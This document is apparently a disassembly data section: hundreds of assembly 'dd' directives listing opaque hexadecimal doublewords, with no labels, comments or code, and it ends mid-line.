dd 507D17Fh, 72B3B9EDh, 0B5F1CE01h, 91000462h, 0AE4618Fh dd 3D5FE3CCh, 4700ACF2h, 1E2B10BEh, 7D1F0804h, 7E809654h dd 7548B472h, 97FC29D5h, 8F83BEC4h, 0AFB9D20Eh, 0D46E95D9h dd 6F05A051h, 0B2FD65EEh, 0A4120C16h, 26A058A8h, 7F005727h dd 0AE3320FEh, 7C72A7Eh, 7993C530h, 0BCF9DBB5h, 9CE0F80Fh dd 27A06295h, 0D0B0E3D1h, 7DE3BFDh, 9F27C071h, 0BCE8EAA2h dd 45111287h, 1CBEC080h, 98B9E001h, 0F1001591h, 86883735h dd 1314F4D5h, 2750FD1Ch, 44F0A08Ch, 0E6C53EE1h, 0F1810117h dd 12DB6A19h, 0C88C7EE0h, 301F5E68h, 286CA758h, 1B43F47Ch dd 20B6D116h, 48E311BCh, 10FC3707h, 0BB85897Dh, 7ED90800h dd 0BE5B97F0h, 6B1D08CCh, 0A0C8DC17h, 3757004Fh, 0B1DDDFB8h dd 660263EDh, 0D9EB8BFDh, 0B5C84038h, 0B66E4FDEh, 0FBC30038h dd 0F7B1B4Eh, 0EAC7004Fh dd 0CD71B9F8h, 2F00E28Fh, 0DD6E28B6h, 2DDF1925h, 74D1A205h dd 7C0C7182h, 42005462h, 937F891Dh, 87FA9968h, 0C4B7C740h dd 94AD72AAh, 0C9CF4050h, 0C00996Dh, 32A99E29h, 5A16B605h dd 3CD88CD5h, 0EF395F00h, 44256470h, 0A5EB1F17h, 0C9C61212h dd 3E7C30ACh, 6008B84Ah, 2C54A721h, 0A960F468h, 7E06BDFh dd 3085B908h, 14689109h, 80523BF0h, 5A481219h, 8F4536Eh dd 43802168h, 1C0D2A3Ah, 122CB902h, 1F84F812h, 0FE0BC037h dd 148C6129h, 400C9C2Eh, 1D065C24h, 68B50801h, 79ADB416h dd 519D2870h, 5EF440B8h, 0BE2EF8ECh, 6100501Fh, 9AE78F53h dd 6B5B0134h, 1268BD09h, 0C6086431h, 2C4C1CBDh, 1F2EA6h dd 43BB6E19h, 81008253h, 0F77EBF11h, 0C249E8Ch, 0D6093E68h dd 22845898h, 14246E01h, 0E6123B1Bh, 500820C8h, 8A10A0DBh dd 0EF1C4046h, 7F4016EEh, 383071F5h, 3ECC1E11h, 0A84D158Bh dd 0F6098C0Ch, 4EB53070h, 495600D4h, 12EE5A7Ah, 6518A4A1h dd 118994D6h, 426E04E4h, 0BBCE0981h, 25701827h, 3C3AB58h dd 1712D60Dh, 0E5D0C1B7h, 6825D966h, 354111Dh, 3C84150Ch dd 14156E06h, 0C600DC39h, 57F0BCCFh, 871F6A36h, 6340BFE8h dd 44D53F9Eh, 4B6D3E62h, 0EE27F4CCh, 0A04EA4D1h, 29E3262Ch dd 31C0005Ch, 4BAF9601h, 0A4048043h, 25752D2Fh, 54B030BEh dd 0A04A9F1Dh, 673BBC8Ah, 0ED9EAC00h, 6839D0D7h, 1B663D03h dd 0C0112D72h, 0B02E8FE1h, 0C4101210h, 0CC9007FDh, 1F2C4FDDh dd 0D75C6E91h, 7A547EF8h, 71440AF0h, 251A4E69h, 0C7B040BCh dd 1C59EEDDh, 936496E0h, 9301F29h, 0F57755BFh, 35856F05h dd 0DCA83E12h, 0EB529680h, 44956B81h, 3A6200E0h, 9775A04h dd 1598D4E9h, 460DD098h, 0F8AB40F8h, 112E0C68h, 0F4FB0110h dd 0E118B869h, 0ED0FD8D4h, 88F2084Bh, 0FF913Ah, 9485F36Fh dd 0A94CFDB7h, 92A1A604h, 0F0428Dh, 887320E4h, 0B640489Eh dd 0A2D91Ah, 0CF808ECEh, 455E25DFh, 84FB330Bh, 0B30F6FCh dd 3CC61069h, 2F449A7Ah, 32260F5Ch, 6F205D0Dh, 0CBF76C2h dd 5551D302h, 80B21982h, 0BB2707CEh, 0EC1E1D72h, 3EA74548h dd 0A52BC0AEh, 0B0006BE7h, 497A9AC2h, 97C98h, 0F0E66694h dd 71E0B4DFh, 0B30C5776h, 11B507F1h, 14A45098h, 172E3088h dd 0ECB3AA60h, 5684900h, 344C372Fh, 70780035h, 6F82FEB8h dd 1812146Dh, 9F06E515h, 1990F07h, 0E359A5DAh, 0CCC2C0F3h dd 5D00AA97h, 0F0E95E2Ah, 1046DE5h, 89EF854Bh, 8A6E0DF1h dd 14829711h, 0EA66606h, 3B161D51h, 12983074h, 0B20E077Fh dd 9E081C41h, 928E2D07h, 0BD34C4D0h, 0BF7F0061h, 671ACEAEh dd 1400076Bh, 238A7BE7h, 36DA3D7h, 92EFBA52h, 0EBA85DA6h dd 3B3AFB22h, 64F968AEh, 0E0248E8Eh, 4561A376h, 509307C7h dd 13C046ADh, 311EA866h, 0ED8EC31Eh, 6DB4A1C7h, 19801007h dd 5D4115E1h, 6C0ABC5Ch, 0E240A1E9h, 201B9C0Dh, 0B02920h dd 78D39FA3h, 0AB45E23h, 557DF000h, 0CC972D9Eh, 0A428C571h dd 0A8804066h, 808B3ACEh, 0B9A5390Eh, 68C0C0C8h, 63E7D377h dd 0CFB048C3h, 34C13900h, 0BFCD240Dh, 0ADAF0EACh, 7F2129BEh dd 202D7A62h, 0FC12E549h, 0F702ED47h, 60166DB7h, 61A667FCh dd 0CA37C913h, 81BCE4h, 670E9AD7h, 31233842h, 0E9185BFBh dd 0F21AD832h, 1B04DF00h, 5D88F8F1h, 3F3DE478h, 3507AF3Ch dd 667E111Ch, 9D07A1CAh, 55941825h, 72344B20h, 0AB7002D3h dd 91FCB822h, 0E71D5FE0h, 92F4B750h, 3C39C163h, 8DE1EFB4h dd 0D7076Fh, 1CF552A9h, 81850DF3h, 0C6F95F00h, 0CAD6A310h dd 182634ECh, 0CEAC0828h, 0BE406844h, 0F49B20A6h, 6BCC6E00h dd 0F5FF10CDh, 91BC05ECh, 0D4BC540h, 104011FCh, 0ED159A44h dd 18629B32h, 0B82120BFh, 1C7EEC12h, 4015DE0Ch, 296769FAh dd 1AC1D9Eh, 90E0EB21h, 9B436086h, 175A5401h, 0A067071Ch dd 0C0013022h, 0E13A8923h, 8130D194h, 27858219h, 91F49CE4h dd 6B3903DEh, 0EFAD6652h, 34854B0h, 7967A430h, 81E90Dh dd 0ED59231Ah, 9CAD12ECh, 1DFBEE00h, 432ABBD0h, 7AB400F7h dd 7372FDD2h, 74F8FC5Bh, 0D9C360EDh, 0A09C2B00h, 0AC16B91Eh dd 0A2A8004Eh, 0FEF7021Dh, 77007180h, 727649FDh, 0F269BBEEh dd 0CAB403BFh, 3A3DD3FBh, 740F18EEh, 60C0DBF5h, 0FE18129Eh dd 60A5E886h, 20323981h, 79099D1Ch, 5F8746h, 7478D5C8h dd 0A0FE7A42h, 0CF76C30h, 8EF9CBAEh, 0F5505B59h, 604B2258h dd 325E0CF0h, 0F621EF1Fh, 0D8B02727h, 7208C28h, 0B073FB64h dd 1BF4304Ch, 0C503A42Eh, 6F81E649h, 0EE3000C0h, 0E7023421h dd 5E00F81Dh, 967944F3h, 1EFE0EE3h, 307E7054h, 0F35CF799h dd 96894203h, 0A0A9454Ah, 33711C4Eh, 6481F95Ah, 2DFA34C0h dd 3F04CE00h, 0D3CD1650h, 30220045h, 0D61B2A82h, 60573FFh dd 0B4F46E53h, 0C7E88002h, 0ECCEE134h, 7EA4998Ch, 0E600A279h dd 9BDD119Dh, 18B01CC0h, 28BC1F5Bh, 7F44A54Eh, 46A400FFh dd 6DA964C2h, 0F21D7BDCh, 213147FDh, 98570183h, 0B9454F80h dd 0CB0A3D96h, 0B47BAAh, 683D54D2h, 5B6E26C2h, 0A54FD30Ch dd 534183h, 19C9ECE1h, 222961BFh, 64C4C21Ch, 0A5B10C3Dh dd 0D22988h, 5FFB464Eh, 4DF2E2D8h, 0F149FE00h, 506CB413h dd 95D0698h, 79785E1Ch, 10760800h, 47736858h, 0C6660D02h dd 0E0907ABDh, 451CC56Ch, 405DD315h, 0B0F35745h, 5F3CE021h dd 0F9024022h, 0FBD0E002h, 0C36C5660h, 9F7B453Dh, 9D80AC8Ah dd 0D3C012EEh, 3FF300CAh, 1C2C308Dh, 41C0775Dh, 0F2499D8Eh dd 9A79008Fh, 1DAFFDCEh, 2B542DC8h, 0A7006FB8h, 0C613E677h dd 51703575h, 0CAF3087Fh, 805C4149h, 3DB80F15h, 0F5008C75h dd 61E1D859h, 98A64FCBh, 0D007598h, 0BE8F6A83h, 4AB725h dd 0C4D210D8h, 0F587CACCh, 0B3BB2B3Eh, 0EF359FAh, 0D4DBC0E0h dd 0A7C3CEA1h, 0F589DC5Ch, 6C563C00h, 0F3A87D0Fh, 0CA9600B7h dd 0F6054186h, 0BD005453h, 0AD6FCCA0h, 1D0DAA2h, 483C9E20h dd 2378FDCBh, 0B17A0004h, 0A45500Fh, 0B5123CF7h, 13416B80h dd 0AD47BA34h, 0F12CB000h, 0F0654093h, 0F3D40EB5h, 0EFA58FB8h dd 55CC0EF6h, 73A4B940h, 6D3D16BEh, 0FFC81371h, 393F0C00h dd 0A8C4D776h, 37824E4h, 0FDB5F494h, 7810BE82h, 671C1CD3h dd 0DA44C14Fh, 415D03F1h, 0E44DFF54h, 991588DFh, 7CA8FECBh dd 484FD03Ah, 3D461BD0h, 6E193A68h, 199301Fh, 0F598C079h dd 0F06DD1B2h, 36F88B1Ch, 0EBE94E00h, 9E39977Bh, 32F4003Ah dd 0C16C1B7Eh, 0B2769643h, 0DFF8412h, 3EFD0843h, 5D79188Eh dd 4E2C6986h, 0FFA21401h, 2E2AEFC5h, 0E21FD0h, 6F688F5Eh dd 3D665C2Bh, 0D61EDCF4h, 8400DDE0h, 75575834h, 3F441DB2h dd 56E40787h, 3CF790CFh, 5800ABC8h, 4710D4E7h, 1FBE7829h dd 0EA7A9ECh, 144CE23Dh, 0D644FA50h, 0D9304435h, 0CA026610h dd 0F69B3778h, 0C5B5C008h, 2407807Ch, 62DF687Fh, 0F0E1C190h dd 638E85Dh, 9BD75186h, 0F81631F3h, 0CB002E73h, 4C333276h dd 0B78F0001h, 7486ED77h, 841856E8h, 4431F438h, 0C97D6040h dd 46FF72AAh, 0B798E81Ch, 4513D641h, 8DC3D4Ch, 0E2E407AEh dd 0D08A4E55h, 99973DBh, 19AFA331h, 0E8F0F180h, 0BE5E30B5h dd 0E65B03C9h, 9E05F00h, 1EF08DD2h, 0F73D1F21h, 0EA414208h dd 1343D5D7h, 888A1051h, 216F608h, 0BDE12C21h, 0E47C0880h dd 1EF0AC82h, 2E50E680h dd 34FB25D0h, 840C0138h, 57C748D1h, 0D200D828h, 0D5B56031h dd 51AA3A33h, 0B7543D8Ah, 68B130A5h, 8E00AF9Fh, 94D158EDh dd 0F682CBD2h, 0B2B00CF4h, 0A29B85Eh, 0F8C7D807h, 0C8A0457Ah dd 88F26Dh, 3A65D163h, 7728BC92h, 0F495F60Fh, 80E08F8Dh dd 7F0FF54Ah, 33C001CBh, 6E79B3CFh, 0E4DF82Dh, 8A1148h dd 0DBB70FD5h, 1865D333h, 769F189Eh, 0E4127113h, 1C1E015Dh dd 5489BB58h, 58430089h, 0C8A6C932h, 663AC5B1h, 9B21E504h dd 6926F420h, 1DC2FE2Ah, 0F9C9DFA5h, 0C7D69E03h, 44C0159Dh dd 0B4600366h, 1035A739h, 0C9276h, 89099BF6h, 47E5BA3Dh dd 873F728h, 0CE586E01h, 7CD8F3A7h, 32843186h, 0DD0379E5h dd 68C25E93h, 4F513DECh, 0DAF39A86h, 48A17143h, 0A708EBh dd 1D6F18D0h, 65F3EED7h, 682BF928h, 45F244h, 8E293485h dd 0C6543F5Eh, 0AC06397Fh, 7FB16F19h, 11AB4260h, 0CD1BF733h dd 90E30865h, 3C2DEC80h, 7C991F00h, 0FB7BDE4Ch, 0EF6A0170h dd 16F966CFh, 0AE3883E6h, 0E7F4045h, 80CDD1E1h, 5F7E1AC0h dd 0C118BB0Dh, 0B6595C67h, 0C9C906Eh, 0ED9C38B8h, 9900F179h dd 6652074h, 1855F48Eh, 0D9BFF566h, 0D66FF312h, 6D340041h dd 98F54CE2h, 2EA829E5h, 0AC3B00CCh, 6EA276B0h, 12CD6F03h dd 0A89B2D65h, 18D5C507h, 49576DC1h, 14004CE0h, 6726A845h dd 7F618E2h, 29A736A3h, 0CE38D0CAh, 0B00CAFD2h, 0A9F09BD5h dd 2E500B6h, 4EC21A19h, 951D4462h, 0BD1C1FA7h, 0F5D8A518h dd 666406ADh, 38E323FAh, 5E73C214h, 4A289880h, 146F01E2h dd 3C67E036h, 0D689E0B7h, 7A1B6519h, 0F889D5E9h, 54186815h dd 1C00C77Ch, 84A32285h, 0DE92EAh, 0D379E5F1h, 0B842882Eh dd 4964E8C8h, 9D035401h, 11BE5Dh, 7AF03E40h, 0C5E876F6h dd 25D9F359h, 0ACE430E0h, 3F06E376h, 781136EBh, 9CF60021h dd 0DC1ED621h, 0F72848E5h, 0E7140874h, 22F8CF70h, 7E3F3064h dd 699DA939h, 0B1CC2500h, 3B847A6Ah, 0CD81C6F8h, 0EF003166h dd 31AF10ACh, 0C3B50Dh, 7D9AF205h, 0CD01A47Ch, 4E299DEFh dd 0D7E52900h, 99AD679h, 6FBAA3B3h, 0A833BC81h, 0D729805Bh dd 85406960h, 389B507Dh, 0D34A0E4Bh, 0BC205D59h, 0E9A69431h dd 0FEE55002h, 60802B01h, 2467A97Bh, 11D07152h, 0F6650A6Bh dd 0AE8090B3h, 3B7A4367h, 77B7C18h, 0BF7108B6h, 80B2B777h dd 3AA0FE9Dh, 7020124Ch, 18B744h, 33A46D9Ch, 0B524DACEh dd 0C6B84E09h, 400C926Bh, 29CB7924h, 8A68636Fh, 80A87B3Fh dd 0CBF25AF8h, 0D0023632h, 8C6FE5Bh, 76108111h, 78303E85h dd 0CDAB88B4h, 0B2737E03h, 248940E3h, 0B79C29h, 8A09C298h dd 43006B5Eh, 0B782B505h, 249B4A33h, 19687093h, 701249CFh dd 131644F0h, 0F420408Ah, 1F5B98Ch, 334D4E23h, 0C8459C95h dd 0A31C357Bh, 13C05F85h, 0B3D40CF3h, 65D80044h, 89F06EB5h dd 0F9C3F19Bh, 0D0DF2B47h, 0C1FA7Dh, 401E01F4h, 0F8B85D14h dd 3C129D26h, 16E17708h, 14EC209Ch, 8C0043B5h, 0F2547018h dd 1C827B07h, 0B399D95h, 2492199Ch, 0C10E5446h, 0A0477D5Fh dd 1F709DEBh, 58620133h, 0EA69C273h, 0B7944072h, 0F9C0C35Eh dd 2D67C44Ah, 3E901EEh, 27B4E12Eh, 0C059ED78h, 1D096CCCh dd 82E23626h, 60AE6488h, 0C1BD5F00h, 466C4141h, 533AF874h dd 2AC59900h, 6598FEADh, 9FC911Dh, 0CC11A0F6h, 0EEB706Bh dd 0C1086D61h, 422626Eh, 91007C22h, 0DE3D1D50h, 12E03932h dd 20A9345Ah, 0B762D918h, 49836B35h, 19122809h, 0BD3058B8h dd 8E343CB7h, 62690E03h, 0E8883CDAh, 429F3AFBh, 0FE9440BFh dd 18652893h, 9BF80054h, 0D681DDE8h, 9174E040h, 1217490h dd 526F00B6h, 685C1AD7h, 936D70C6h, 19641880h, 0D72E207Ah dd 66A4E309h, 0A7AC10FCh, 0DBA81E44h, 2BAF403Dh, 0D6034505h dd 92196D01h, 61CCBFF3h, 3E95C180h, 227D0F3Fh, 2D3CE1Dh dd 10EC9BCBh, 2101ECh, 8709702Dh, 0D6B13DE4h, 803C9B58h dd 0DD5F9142h, 0D5BA0198h, 61D9E854h, 3A9452B7h, 0C4007E0h dd 0E0E5F32Ch, 0E0203B64h, 0CB0025A7h, 0E36E0D36h, 9A1B1D4h dd 0CE1A04A2h, 0F0003C44h, 0C35894A6h, 0F41C66B9h, 8C890960h dd 0A800A07Eh, 0AB561E65h, 0D587C80Fh, 0D94E0118h, 0D6F84A27h dd 122CB1C4h, 13801254h, 0EAF84856h, 88284D80h, 0EE1ACA14h dd 54F0B0C1h, 915EA87Ah, 4D003F40h, 41449AA1h, 402E27C7h dd 0B8424046h, 2306E81h, 3B1D6EE2h, 0F8C8EEFBh, 2088F41Eh dd 36850B3Ah, 20225ADEh, 0C6118DE3h, 12BC0610h, 0A44DA000h dd 1ECCEF58h, 0A77E0045h, 0C3CD9A3Ch, 0B1358D7Ch, 0AF18B094h dd 13E6E38h, 3BC87B20h, 3238D8C7h, 0A735009Ch, 8CEFC5Bh dd 6AD507B3h, 9428604h, 81B8B80Eh, 6D00EF85h, 4EEE9F11h dd 367B3C4h, 0DF0CCB3Ah, 0CF819426h, 0C4BC2208h, 688278F8h dd 6EB700A9h, 0AAF845AFh, 0DA3D3DF0h, 64CD2E39h, 0D4A16647h dd 0C1FC108Ah, 0B8916Bh, 3AE130BCh, 3D58D750h, 3BCC020Ch dd 823CD8CBh, 83AB3364h, 18B1DD18h, 21B95E71h, 0E313E714h dd 0BC04CA7Eh, 7CB7C9F6h, 90B7D600h, 13105802h, 4A0F85E4h dd 7F57D4Dh, 4F404E57h, 4475D7h, 25825112h, 6979D6A4h dd 0B42E1B7Fh, 0F660C8EAh, 0FA85E17Ah, 254CB8CAh, 70381444h dd 0D2E45BA5h, 6E088084h, 12CE3070h, 5CB43439h, 5541909h dd 0B92C0CB8h, 1ED007AAh, 4072DE99h, 854808DBh, 9DDF390Fh dd 3702007Ch, 1C3B660Eh, 4295B2E0h, 3F84AF4Ah, 0D701B446h dd 0DBF33370h, 0AC30B162h, 3A1204D6h, 0A0146AB0h, 3388B3D0h dd 17DCE0C3h, 40B82C7Dh, 3A900480h, 5E00D7E8h, 0F0D301A5h dd 751AD33h, 0D819458Ah, 0F2E07066h, 0B260DC32h, 306F1358h dd 0B53D3CC6h, 69000348h, 0E9AB9354h, 4802014Bh, 0B86E7595h dd 4864CDh, 0CCD0D135h, 9A291952h, 9C08E108h, 207680F2h dd 53B6E04Fh, 1B154Ch, 0D5E7E282h, 0FD68DDB1h, 28645461h dd 70C12ED0h, 0D5B641DCh, 882CF713h, 0DE82F835h, 107C1408h dd 0D4B0419Dh, 4C42CD45h, 883F246Ch, 67009990h, 0A5CF6358h dd 3D73EAAh, 90D2029Eh, 0C28DBA9Fh, 1C15E644h, 34BF1465h dd 0F8546628h, 3EC4A404h, 0F798BCEDh, 371211CCh, 0A5F6BD0Fh dd 3DD1004Ch, 0EB0B8D7h, 76DCF38Ch, 387CECB5h, 0CD50BDC2h dd 0BE3203ACh, 33A9F914h, 5A968390h, 60800900h, 0F7520D10h dd 0A81B0375h, 67CD0CBFh, 0B539891Ch, 0F1CC5B80h, 722A54Bh dd 841325FDh, 0DA2352CDh, 4861F46Ah, 65A43271h, 0BC1CD550h dd 0FD651262h, 0D0B0DDC5h, 590044CAh, 7B160FB3h, 933AB5h dd 0D56CC130h, 8540DD12h, 36F0B8ABh, 0BA00879Bh, 0E281414Eh dd 128947B0h, 0C0F675h, 53911850h, 5CB13285h, 77D7F306h dd 4AFC8041h, 0B1999002h, 0A44040Ch, 127C8117h, 9357FC90h dd 150C7178h, 875A72Fh, 0A0414885h, 2C40D98Dh, 0ACDC803Ch dd 0ED6AC5h, 0A1EC5FC8h, 1D9CE764h, 0B3A8001h, 12D344E5h dd 48E7CC31h, 0DE5089h, 6C46B581h, 190211F4h, 0D69A95F0h dd 84DC603Bh, 0DC64A936h, 0CB196D18h, 8158BE99h, 0C88BA08h dd 118300DDh, 0FF25326Dh, 8048C167h, 0A84429B0h, 0FBC33A80h dd 0F047441h, 8D6FFF93h, 511C809Fh, 6A40D8B6h, 0A14803E4h dd 5F040E0h, 143A6D24h, 6703A021h, 81397A1Ah, 0B02CD17Bh dd 0EBF19D83h, 0F49530C9h, 3C012FC0h, 0D7B009B9h, 302C6B16h dd 376D0205h, 0B774C87Bh dd 5B90D8B9h, 70E2F314h, 243C8412h, 4894C730h, 8E77482h dd 0A5C459B0h, 0C0812484h, 0E3144BA8h, 1002FCB8h, 0C17A1B67h dd 80E8456Eh, 40524DFDh, 44008C08h, 0BA4C610Fh, 1226FCEh dd 3BC63AC7h, 0A8795CC4h, 0E842F031h, 0CF1E12h, 0C1D17A2Ch dd 61C15872h, 2363D64Bh, 0FBDAE430h, 4069C201h, 383D5210h dd 772FA805h, 7004E6B8h, 6D4176DBh, 75BF201Bh, 3B2020FCh dd 0A8E0D52Eh, 7D341027h, 33F42469h, 7EC900FBh, 17E1CF34h dd 0C264B503h, 0F86E659Ah, 7F84D7DDh, 69576435h, 97123E5h dd 7EF0F834h, 0BB38E480h, 8F1E4F21h, 6014AFB3h, 0A7331408h dd 22B84C14h, 0D6A803C1h, 0D20A3AC2h, 2E070698h, 7D4BF90Bh dd 0B6C0048Eh, 409D1840h, 3A2413DCh, 76406C15h, 304F42A5h dd 0A729445Fh, 2C0FAA34h, 0E08E98DEh, 39D73FAEh, 23E2006Ah dd 559E96F6h, 0D002333Ah, 3C939DEBh, 24B44440h, 395A8B1h dd 7C2186FCh, 0E82DAEE9h, 1890C76Ch, 0F1348411h, 0A45FCD15h dd 0AB071C3Bh, 27BF69EBh, 0E6B3338Ah, 0B6FE5000h, 3780F08h dd 0B56D00A8h, 7C37A5FAh, 4E71BCA9h, 9665E000h, 18056389h dd 0EF9B33CEh, 0C8889F61h, 683F1B24h, 28935812h, 2100A4C5h dd 8053D4BFh, 0F6A30A40h, 0E476058Ch, 0FB865CD7h, 0CB7375C1h dd 9A1F6DCh, 53D3155Ah, 6FAAB0A0h, 0D05B72DCh, 0EA33F406h dd 0B7440771h, 4EF365D6h, 62B06216h, 1CE27420h, 407A3A98h dd 89FB1F00h, 0DF1467E9h, 7650D260h, 0BAC968C1h, 0FF6516ECh dd 0C45427D1h, 8A3F4570h, 6EAB840h, 50673Dh, 8419A5B1h dd 8A87F481h, 801EA33Fh, 4C5BB9D2h, 13F375AFh, 0D0B7BAD8h dd 55BC9DD0h, 0B8FA3C32h, 0A4D29Bh, 1FE98BD2h, 5A81F97Ch dd 0C61AB500h, 7F11F11Eh, 0B6BB05E0h, 81B7EBD4h, 1DE3690h dd 48833713h, 87404510h, 7A6A6917h, 1258DC32h, 3900D471h dd 0F36DD5A2h, 216B67CDh, 0BF2D807Eh, 900E136Fh, 0C06EA159h dd 0B347E069h, 0E79F3B08h, 0FB8AE12h, 48813E2Bh, 8063CD0Dh dd 57731641h, 0C29D8Ah, 81C1B9C8h, 2B66CF22h, 0E04EF3ECh dd 0C05EFC46h, 0D0293F89h, 0BCB0B687h, 0A37B400Ch, 97014912h dd 0C1F65064h, 6180A067h, 0E9DF74Eh, 0C40A279Ah, 0E7FA1A65h dd 7D767A07h, 8054285h, 140375F6h, 823F44h, 79EC3479h dd 0C5B5CBD1h, 47CD900h, 3DDC30F4h, 84B601C3h, 0C8B8D571h dd 707031B1h, 394AD8FCh, 0CDAAC447h, 0C94F8088h, 6E7FE369h dd 260C3E58h, 4E0CCCF8h, 637571DEh, 8504833h, 0BE9E74F8h dd 0D6A150C0h, 120CACBFh, 8B73DD0h, 6F82E4D0h, 63ABD750h dd 0A8E9C018h, 993600D5h, 0AA73DDE7h, 34E8DEBBh, 0BE4FDA00h dd 6677ED90h, 41D09C11h, 0F8B6F491h, 0A900F0C1h, 5F656CBAh dd 9867B5F8h, 1B1A14A3h, 9E00BDBDh, 0AD0F347Dh, 703A3C19h dd 0EC3E0082h, 5CB4A985h, 1D06F692h, 47759EEAh, 2570DBB7h dd 0A79407E7h, 0E13801B8h, 44B82174h, 0EF02C74h, 47166300h dd 0F607CEDBh, 7A660057h, 0EC6F552Eh, 0C090D126h, 0A317A0B0h dd 201ED735h, 0DB007951h, 84F4986Ah, 0B806B469h, 774D6FF8h dd 65E50670h, 68E74AF9h, 601FAB2Eh, 57133404h, 0F68C0313h dd 0C4CFE5A8h, 4018C93Ah, 2F6FCA14h, 0A8D69924h, 0DC8EFB84h dd 8970C205h, 3F084334h, 0F24CCDA5h, 104329h, 4358E319h dd 6CE2440Ch, 0EB9B22h, 9CCD3802h, 0C3D6529h, 0C88454Ah dd 4FB40028h, 498ECA39h, 6503C8A9h, 0B28809E1h, 82FD90BEh dd 38404C3Eh, 22418083h, 0E088ADE9h, 0A10025CEh, 0C9949ECAh dd 7FFC30C4h, 5F481887h, 93BDB1C7h, 37321900h, 0C2E95157h dd 9FDB1DB9h, 0B3690040h, 8EA79A3Eh, 34445C2Ah, 0EAC65801h dd 0F13A2B1Fh, 0CCEC22EDh, 90B6004Bh, 390E9210h, 0C6048879h dd 0D0366F18h, 2FA940C0h, 10B846h, 5CCE7394h, 1965856Ch dd 0DCB29B07h, 3E80FE57h, 3D6858h, 32D5B1EFh, 0C1D6CFD3h dd 0F7177343h, 6D34229Eh, 0BE659CE0h, 0B31C070Fh, 418442BCh dd 1C0B2BF6h, 0E1000894h, 820A1106h, 0C8F2AAh, 6CD7CD69h dd 312664A2h, 42980300h, 16EC9EF6h, 0B1AB862h, 0C0A92043h dd 146DB800h, 0B000CE3Eh, 333D55ABh, 0EE95F1DBh, 7E4F063Fh dd 0B169CD7Ah, 8F84ED00h, 0FFE63520h, 0E8ACF674h, 36B40161h dd 1B7115Ah, 4BE0715Dh, 7262008Ch, 5D5743DAh, 0A00701ACh dd 84C7608Bh, 58083744h, 4066C47Ch, 0A82481C3h, 0F8E0CA7h dd 0A501A61Ch, 4E6413C0h, 0F090142Eh, 87EBBB39h, 39AD9EA9h dd 9D8308AAh, 0CADE4C41h, 131C7049h, 20327B10h, 0B4CFDB70h dd 0B023D55Bh, 0B61DD87Fh, 0FA7C0EF7h, 1ED7418Dh, 4E118079h dd 0D6A60A73h, 88BCE307h, 0C04CE438h, 30A1843Ch, 0C4F61081h dd 0B7900116h, 43EF1DBAh, 3240F966h, 0B37C00D0h, 0E50F165Bh dd 0C42D0132h, 0D69BC824h, 86A44213h, 910BF11h, 570B5964h dd 38A52B8h, 0ADC6E0F6h, 18DCBC0Ah, 72470FE0h, 511100AAh dd 33CC3A38h, 0ACB8F39Eh, 0DF815496h, 599DD681h, 40571192h dd 715DE1F0h, 0A500C82Ch, 2AE045E3h, 19500D90h, 0F1E99B7Bh dd 66832073h, 0FB1E3106h, 2020041Bh, 0D0BCE4B3h, 6E056F02h dd 0D1A04255h, 33AC42C0h, 0D9B3C890h, 0DEFCB50Eh, 0A8C8D208h dd 2FF7FAFh, 0E1FB5A10h, 0E4D9D691h, 0A3343A64h, 2AAA0088h dd 0B6C69C73h, 5BE900A8h, 0FA92F6A6h, 530264BBh, 7AF03DD7h dd 4045BC5h, 0C4E872F8h, 3C40F1D0h, 0A3E80DCh, 7641DFh dd 823DF501h, 8F64CD8Eh, 0E8E6DA00h, 0DBB40949h, 10CC0033h dd 0E03613B5h, 0A6543457h, 89833758h, 99603D99h, 8135F6Ah dd 6540B384h, 5BAAFA2Ah, 0A93C2045h, 0CF7EFDE8h, 80A89C5Ch dd 0F584D41Bh, 37930725h, 8762D32Eh, 0E9EF73B3h, 10CE31D0h dd 0A8451205h, 54E60BC9h, 0B7897321h, 20E8C85Dh, 0F7AC3FFFh dd 3173D380h, 58D6D491h, 0D5E4661Eh, 0B4A1B9CAh, 8835BC63h dd 129711h, 19A8BD94h, 0A58F373Bh, 30B0332Ch, 0D888EA10h dd 2D6A9B61h, 2800804h, 11980F49h, 0A0643E25h, 13F47D1Dh dd 0EF29D607h, 0B0AC10C4h, 0ECDB83C0h, 8B0BB17Ch, 989BDFEh dd 7FBC1060h, 60849E43h, 0F402ECD2h, 0A1639E00h, 7BD95E98h dd 95702Fh, 0A06FAD0h, 743B9605h, 21E27D00h, 57719CF6h dd 0FBC09545h, 0AF713DDBh, 31D8CB50h, 43C5ED00h, 8E13D5B8h dd 9C74B53h, 2C593DECh, 258CE462h, 283482D5h, 3A00E046h dd 0C2F94EEBh, 0C68C5A9h, 0E3EFBDCDh, 3307ADF0h, 9D841473h dd 0F630C2F7h, 0B247A0h, 0D82AEE03h, 0BBF0285Bh, 0D233C803h dd 0E88F1F53h, 11657Fh, 0B7B4F0Dh, 0AA7ABE3Ah, 8103524h dd 0E977004Fh, 0DBD47Dh, 0B83A84ACh, 0C1CEB60Bh, 18856D2Eh dd 20C55D42h, 20D6CC64h, 598DEC07h, 0F60A9A6h, 0E2D3C8FDh dd 2B7716D0h, 8578C8B6h, 0CC7D6900h, 7027E50Bh, 621E00ECh dd 0C49941DDh, 94BE5DD6h, 6581B810h, 784A8F4Eh, 6A5F8030h dd 0B4A87062h, 0C3EC9F8h, 76DFF311h, 64006D25h, 0D8C93BCAh dd 640D28D7h, 44224035h, 80AC6A16h, 396D04F0h, 9174F727h dd 0F8021994h, 64221078h, 803F5C63h, 0A14F1A80h, 5B8BF26h dd 60A9E226h, 2C66005Ch, 0E80F4A76h, 0A705455Bh, 5AE992FEh dd 3F351808h, 8485204Ch, 232CA240h, 61CD05E5h, 53E0C24Dh dd 0E9914C79h, 0DC28475Fh, 457D00B5h, 38BEC7BFh, 48E6FE09h dd 1ED2FDE4h, 3F28C3h, 0A560CC38h, 6F50C1EBh, 0F952657Ch dd 0B4CD4ADCh, 0D2CB02F0h dd 1A04C819h, 0B0A1CA0Eh, 958AC010h, 765191E5h, 85B3FB5h dd 0B6F9DB82h, 9490A107h, 3E256057h, 0F240AF10h, 0F6669881h dd 56124CFh, 8CDD09C0h, 3B486450h, 2C2E26BCh, 5AD5804Eh dd 1440B8Eh, 0FE71DC4Fh, 0E012D708h, 6D0768E2h, 1C5545DAh dd 243ED830h, 0EFA813F0h, 5ECC8C13h, 0D451BC60h, 5EE80D5h dd 5083FC12h, 4AA080D8h, 0ACB16EC2h, 13CEAC04h, 713C04B3h dd 58124A1Fh, 3B1E08D0h, 30AA4500h, 0DF0615C7h, 0D8271CF5h dd 0DD234058h, 54A733D3h, 9B2C4402h, 790E5380h, 4BC20E70h dd 16E2A6C0h, 